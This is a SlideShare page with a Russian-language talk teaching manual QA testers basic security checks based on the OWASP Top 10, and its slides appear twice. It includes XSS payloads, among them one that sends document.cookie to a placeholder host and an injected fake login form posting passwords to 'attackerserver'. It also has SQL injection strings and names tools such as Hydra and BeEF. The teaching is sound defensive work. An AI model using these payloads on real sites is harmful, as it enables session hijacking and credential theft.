Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Как manual QA может
протестировать проект
со стороны security
Evgeny Tolchinsky
Ciklum 2019
О себе
Год работаю в Testing Center of Excellence, Ciklum
4 года в тестировании
Со-тренер на курсе OWASP TOP-10
До этого 9 лет в банковской сфере
Свитчер :-)
LinkedIn FB
T-shaped модель
Задачи Security QA engineer
OWASP TOP 10 2017
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging&Monitoring
Наиболее известные уязвимости
1. microsoft word 10 - sql инъекция (2001)
2. PayPal - XSS (2013)
3. Twitter - XSS (2009)
Начнем?!
Чтение верстки страницы
Желательно:
1. Полное отсутствие комментариев!
2. Если комментарии есть, то не должно быть:
a. Логинов, паролей
b. IP - адресов, портов, URL - любых данных о
конфигурации окружения
c. Никакой информации про фреймворки и версии
d. Никакой информации о разработчике
Примеры
A&A (authorization & authentication)
Авторизация — предоставление определённому
лицу или группе лиц прав на выполнение
определённых действий; а также процесс проверки
(подтверждения) данных прав при попытке
выполнения этих действий.
Аутентификация — проверка подлинности
пользователя путем сравнения введённого им
пароля (для указанного логина) с паролем,
сохраненным в базе данных пользовательских
логинов.
A&A (authorization & authentication)
Горизонтальное повышение привилегий - доступ одного пользователя к
информации другого пользователя.
Вертикальное повышение привилегий - от пользователя к админу.
A&A (authorization & authentication)
1. Проверка релевантности контента правам доступа пользователей
2. Проверка доступа по URL
3. Проверка сообщений об ошибке при введении неверного
логина/пароля (сообщения “неверный пароль для пользователя Х”
облегчает брут-форс атаку)
Что проверяем?
Примеры
1
2
3
4
Примеры сообщений об ошибке
XSS (Cross-Site Scripting)
1. Хранимые (Постоянные)
2. Отраженные (Непостоянные)
Примеры Отраженной XSS инъекции
<script> тэг для запуска JS кода
alert() JS код для выведения модального окна (pop-up)
Примеры Хранимой XSS инъекции
<script>alert(document.cookie)</script>
document.cookie - файл для хранения cookie сессии
<img src="1" onerror="location="IP VM"+document.cookie">
Виды инъекций
1. HTML
2. SQL
Примеры HTML инъекции
H1 - HTML тэг для отображения заголовка
Примеры HTML инъекции
<h3>Please Enter Your Username and Password to Proceed:</h3>
<form method="POST" action="http://attackerserver/login.php">
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" value="Login" /></form><!--
Примеры SQL инъекции
Select * From table Where title= ‘param’ Select * From table Where title=‘ ‘ OR 1=1 -- -
Чек лист
1. Проверка комментариев в вкладке Elements в HTML коде
2. Если в приложении есть несколько пользователей с различными правами
доступа необходимо установить у пользователя ограничения и проверить их
применение:
a. На UI
b. Доступ по URL
3. Проверка сообщения при введении правильного логина и не правильного пароля
4. В поля, которые отправляются на сервер (логин, комментарии итд)
a. <script>alert(1)</script>
b. <img src=o onerror=alert(1)>
c. <h1>qwerty</h1>
d. ‘ or 1=1 -- -
Программы
1. Основные многофункциональные
a. Burp Suite
b. OWASP ZAP
2. Kali Linux
3. Для подбора паролей (Brute force ) - Hydra 
4. Для перехвата запросов
a. Fiddler
b. Charles (MacOS)
5. Для анализа сетевого трафика
a. Wireshark
b. Ettercap
6. XSS - BEef
7. SQL injections - SQLmap
Ссылки
1. OWASP TOP 10 2017
2. OWASP testing guide
3. Mobile Top 10 2016
4. Потренироваться в поиске XSS можно тут
5. Блог Святослава Логина
6. База уязвимостей
7. Тестовое задание
8. Портал для обучения HTML, JS, SQL ...
СПАСИБО

More Related Content

Как мануальный тестировщик может базово протестировать безопасность, Евгений Толчинский

  • 1. Как manual QA может протестировать проект со стороны security Evgeny Tolchinsky Ciklum 2019
  • 2. О себе Год работаю в Testing Center of Excellence, Ciklum 4 года в тестировании Со-тренер на курсе OWASP TOP-10 До этого 9 лет в банковской сфере Свитчер :-) LinkedIn FB
  • 5. OWASP TOP 10 2017 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting (XSS) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10. Insufficient Logging&Monitoring
  • 6. Наиболее известные уязвимости 1. microsoft word 10 - sql инъекция (2001) 2. PayPal - XSS (2013) 3. Twitter - XSS (2009)
  • 8. Чтение верстки страницы Желательно: 1. Полное отсутствие комментариев! 2. Если комментарии есть, то не должно быть: a. Логинов, паролей b. IP - адресов, портов, URL - любых данных о конфигурации окружения c. Никакой информации про фреймворки и версии d. Никакой информации о разработчике
  • 10. A&A (authorization & authentication) Авторизация — предоставление определённому лицу или группе лиц прав на выполнение определённых действий; а также процесс проверки (подтверждения) данных прав при попытке выполнения этих действий. Аутентификация — проверка подлинности пользователя путем сравнения введённого им пароля (для указанного логина) с паролем, сохраненным в базе данных пользовательских логинов.
  • 11. A&A (authorization & authentication) Горизонтальное повышение привилегий - доступ одного пользователя к информации другого пользователя. Вертикальное повышение привилегий - от пользователя к админу.
  • 12. A&A (authorization & authentication) 1. Проверка релевантности контента правам доступа пользователей 2. Проверка доступа по URL 3. Проверка сообщений об ошибке при введении неверного логина/пароля (сообщения “неверный пароль для пользователя Х” облегчает брут-форс атаку) Что проверяем?
  • 15. XSS (Cross-Site Scripting) 1. Хранимые (Постоянные) 2. Отраженные (Непостоянные)
  • 16. Примеры Отраженной XSS инъекции <script> тэг для запуска JS кода alert() JS код для выведения модального окна (pop-up)
  • 17. Примеры Хранимой XSS инъекции <script>alert(document.cookie)</script> document.cookie - файл для хранения cookie сессии <img src="1" onerror="location="IP VM"+document.cookie">
  • 19. Примеры HTML инъекции H1 - HTML тэг для отображения заголовка
  • 20. Примеры HTML инъекции <h3>Please Enter Your Username and Password to Proceed:</h3> <form method="POST" action="http://attackerserver/login.php"> Username: <input type="text" name="username" /><br /> Password: <input type="password" name="password" /><br /> <input type="submit" value="Login" /></form><!--
  • 21. Примеры SQL инъекции Select * From table Where title= ‘param’ Select * From table Where title=‘ ‘ OR 1=1 -- -
  • 22. Чек лист 1. Проверка комментариев в вкладке Elements в HTML коде 2. Если в приложении есть несколько пользователей с различными правами доступа необходимо установить у пользователя ограничения и проверить их применение: a. На UI b. Доступ по URL 3. Проверка сообщения при введении правильного логина и не правильного пароля 4. В поля, которые отправляются на сервер (логин, комментарии итд) a. <script>alert(1)</script> b. <img src=o onerror=alert(1)> c. <h1>qwerty</h1> d. ‘ or 1=1 -- -
  • 23. Программы 1. Основные многофункциональные a. Burp Suite b. OWASP ZAP 2. Kali Linux 3. Для подбора паролей (Brute force ) - Hydra  4. Для перехвата запросов a. Fiddler b. Charles (MacOS) 5. Для анализа сетевого трафика a. Wireshark b. Ettercap 6. XSS - BEef 7. SQL injections - SQLmap
  • 24. Ссылки 1. OWASP TOP 10 2017 2. OWASP testing guide 3. Mobile Top 10 2016 4. Потренироваться в поиске XSS можно тут 5. Блог Святослава Логина 6. База уязвимостей 7. Тестовое задание 8. Портал для обучения HTML, JS, SQL ...